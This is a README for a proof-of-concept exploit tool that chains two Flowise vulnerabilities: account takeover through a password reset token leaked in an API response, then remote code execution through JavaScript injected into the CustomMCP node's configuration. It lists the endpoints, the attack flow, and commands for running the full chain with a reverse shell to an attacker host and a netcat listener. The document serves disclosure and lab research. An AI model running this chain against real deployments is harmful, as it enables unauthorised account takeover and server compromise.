0xdaeras/flowise-cve-2025-58434-chain-59528FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrating unauthenticated ATO via reset token leakage, followed by authenticated RCE. Includes a reproductible Docker lab environment.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
This repository contains a Python proof-of-concept for chaining two Flowise vulnerabilities:
Flowise is a drag-and-drop platform for building LLM applications and AI agent workflows. CVE-2025-59528 affects Flowise 3.0.5 and was fixed in 3.0.6. The issue comes from unsafe processing of mcpServerConfig inside the CustomMCP node. CVE-2025-58434 is related to password reset token exposure and was also addressed in Flowise 3.0.6.
The tool supports:
The vulnerable password reset flow exposes sensitive user data, including temporary password reset tokens, in the API response. An attacker who knows a valid user email address can request a password reset, retrieve the temporary token from the response, and use it to set a new password for the account.
The vulnerable behavior affects Flowise cloud and self-hosted/local deployments exposing the same API surface. The remediation is to never return password reset tokens or sensitive account reset data directly in API responses.
The vulnerability exists in Flowise's CustomMCP node. The mcpServerConfig parameter is parsed as part of the MCP server configuration process, and is evaluated as JavaScript code without any security validation. This allows an authenticated attacker to inject arbitrary JavaScript code, which is executed in the Node.js environment of the Flowise server. In the convertToValidJSONString function, the user input is passed to the Function constructor, which evaluates the input as JavaScript code with full Node.js privileges, allowing access to modules like child_process to execute system commands.
The vulnerable endpoint used by this PoC is:
POST /api/v1/node-load-method/customMCP
with js payload in the mcpServerConfig field of the JSON body, for example:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Vulnerable code is found in the CustomMCP.ts file, and referenced in the Github Maintainer Advisory for the CVE.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Without any arguments, the tool will run the full attack chain, checking the target vulnerability, performing account takeover for the provided email, logging in to retrieve cookies, and then exploiting the RCE vulnerability with a reverse shell payload. Run a dedicated listener (e.g., nc -lvnp 9889) before executing the tool in full chain mode.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Performs a version check to determine if the target is vulnerable to CVE-2025-58434 and CVE-2025-59528. It sends a request to the target's API and analyzes the response to identify the Flowise version and vulnerability status.
python3 exploit.py --target http://localhost:3000 check
Executes the account takeover process for CVE-2025-58434. It sends a password reset request for the specified email, retrieves the temporary token from the response, and then uses that token to set a new password (default: "Password123!") for the account.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Logs in to the target using the specified email and password (default: "Password123!"). If successful, it retrieves and displays the authentication cookies (e.g., connect.sid) for use in authenticated requests.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode